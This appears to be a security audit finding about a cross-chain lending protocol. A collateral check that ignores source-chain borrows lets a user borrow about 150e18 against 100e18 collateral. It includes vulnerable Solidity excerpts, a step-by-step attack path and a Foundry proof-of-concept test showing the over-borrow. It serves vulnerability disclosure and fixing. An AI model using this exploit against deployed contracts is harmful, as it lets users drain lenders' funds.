Sweet Sandstone Squid

High

# Poor state synchronization across chains will allow users to borrow past the allowed amount for their supplied collateral

### Summary

Not using the correct total collateral and total borrowed amounts in `CrossChainRouter::_handleBorrowCrossChainRequest` and `CrossChainRouter::borrowCrossChain` will cause overborrowing across chains as users will be able to use the same collateral to borrow significantly more than the set collateral factor allows.

### Root Cause

This issue comes about as a result of how the source and destination chains communicate state in [borrowCrossChain](https://github.com/sherlock-audit/2025-05-lend-audit-contest/blob/main/Lend-V2/src/LayerZero/CrossChainRouter.sol#L138) and [_handleBorrowCrossChainRequest](https://github.com/sherlock-audit/2025-05-lend-audit-contest/blob/main/Lend-V2/src/LayerZero/CrossChainRouter.sol#L617). 
Take a cross chain borrow from `Chain A` to `Chain B`. In chain A's router, the `borrowCrossChain` function gets the total collateral value supplied from the `LendStorage` contract and passes it into the required layerzero send function
```solidity
function borrowCrossChain(uint256 _amount, address _borrowToken, uint32 _destEid) external payable {
         //...
@>      (, uint256 collateral) =
              lendStorage.getHypotheticalAccountLiquidityCollateral(msg.sender, LToken(_lToken), 0, 0);

        // Send message to destination chain with verified sender
        // borrowIndex of 0 initially - will be set correctly on dest chain
        _send(
            _destEid,
            _amount,
            0, // Initial borrowIndex, will be set on dest chain
@>          collateral,
            msg.sender,
            destLToken,
            address(0), // liquidator
            _borrowToken,
            ContractType.BorrowCrossChain
        );
       //...
 }
```
The problem is that this collateral is the gross collateral value i.e including collateral that the user has already borrowed on. When the `_handleBorrowCrossChainRequest` function on `Chain B` is called with the payload sent from `Chain A`, it uses this gross collateral to determine if the borrow will cause undercollateralization
```solidity
function _handleBorrowCrossChainRequest(LZPayload memory payload, uint32 srcEid) private {
         //...

        // Get existing borrow amount
        (uint256 totalBorrowed,) = lendStorage.getHypotheticalAccountLiquidityCollateral(
            payload.sender, LToken(payable(payload.destlToken)), 0, payload.amount
        );

        // Verify the collateral from source chain is sufficient for total borrowed amount
        require(payload.collateral >= totalBorrowed, "Insufficient collateral");
       //...
}

```
It does this by getting the total borrowed value tied to the user's account, and compares it to the above gross collateral value. But it doesn't take into account the borrowed value on the storage contract of `Chain A`, only on the `LendStorage` contract of `Chain B`. 
Essentially, the value returned by `getHypotheticalAccountLiquidityCollateral` on the destination chain doesn't account for borrows made on the source chain because the cross-chain state synchronization is incomplete. While the protocol maintains a record of cross-chain borrows, it doesn't properly integrate this data into the borrow validation process. This will allow users to borrow much more value than their supplied collateral.

### Internal Pre-conditions

NIL

### External Pre-conditions

NIL

### Attack Path

1. User supplies 100e18 tokens on Chain A
2. User borrows 75e18 tokens on Chain A (max allowed by 0.75 collateral factor)
3. The test verifies that `getMaxBorrowAmount` returns 0 on both chains, confirming no additional borrowing capacity
4. Despite this, the user successfully borrows another 75e18 tokens on Chain B
5. This results in 150e18 tokens borrowed against only 100e18 collateral
6. The user can repeat this until they are satisfied

### Impact

Users will steal supplied collateral and create severely undercollateralized positions

### PoC

Add the below test function in `TestBorrowingCrossChain.t.sol`
```solidity
function testUserCanBorrowPastCollateralFactorLimit() public {
        uint256 supplyAmount = 100e18;
        address user = makeAddr("user");

        vm.startPrank(user);
        address token = supportedTokensA[0];
        address lToken = lendStorageA.underlyingTolToken(token);

        // Mint tokens to user
        ERC20Mock(token).mint(user, supplyAmount);
        IERC20(token).approve(address(coreRouterA), type(uint256).max);  

        //supply tokens to coreRouter and borrow max allowed amount
        coreRouterA.supply(supplyAmount, token);
        uint256 borrowAmount = supplyAmount * 75 / 100; //max borrow amount allowed according to collateral factor of 0.75
        coreRouterA.borrow(borrowAmount, token);
        vm.stopPrank();

        //add funds to coreRouterB to enable user to borrow cross chain
        _supplyB(supplyAmount);

        //check that user max borrowable amount is 0
        assertEq(lendStorageA.getMaxBorrowAmount(user, lToken), 0);
        assertEq(lendStorageB.getMaxBorrowAmount(user, lendStorageA.underlyingToDestlToken(token, CHAIN_B_ID)), 0);

        //check that the destination underlying token balance of the user is 0 before borrow
        address destToken = lendStorageA.underlyingToDestUnderlying(token, CHAIN_B_ID); 
        uint256 initialTokenBalance = IERC20(destToken).balanceOf(user);
        assertEq(initialTokenBalance, 0); 

        //user borrows across chain when they should not be able to
        vm.deal(address(routerA), 1 ether); //for layerZero fees
        vm.startPrank(user);
        routerA.borrowCrossChain(borrowAmount, token, CHAIN_B_ID);
        vm.stopPrank();

        //get and check borrows, collaterals and overall user borrow state
        LendStorage.BorrowMarketState memory userBorrowState = lendStorageA.getBorrowBalance(user, lToken);
        uint256 srcTotalBorrowedAmountInUnderlyingToken = userBorrowState.amount * LTokenInterface(lToken).borrowIndex() / userBorrowState.borrowIndex;
        uint256 srcTotalSuppliedAmountInUnderlyingToken = lendStorageA.getTotalSupplied(user, lToken);

        (,,uint256 borrowedPrinciple,,,) = lendStorageA.crossChainBorrows(user, token, 0);
        (,,uint256 collateralPrinciple,,,) = lendStorageB.crossChainCollaterals(user, destToken, 0);
        assertEq(borrowedPrinciple, collateralPrinciple); //they're the same because the dest chain collateral isn't real and just corresponds with the borrowedPrinciple of the source chain

        console2.log("Source chain total borrowed amount:", srcTotalBorrowedAmountInUnderlyingToken);
        console2.log("Source chain total supplied amount: ", srcTotalSuppliedAmountInUnderlyingToken);
        console2.log("Source chain cross chain borrowed amount:", borrowedPrinciple);
        console2.log("Destination chain cross chain supplied amount: ", collateralPrinciple);
        console2.log("Source token balance of user: ", ERC20Mock(token).balanceOf(user));
        console2.log("Destination token balance of user: ", ERC20Mock(destToken).balanceOf(user));     
    }
```

### Mitigation

Modify the cross-chain borrow validation to account for all existing borrows, either via the collateral (by returning only unused collateral) or through the borrowed amount directly.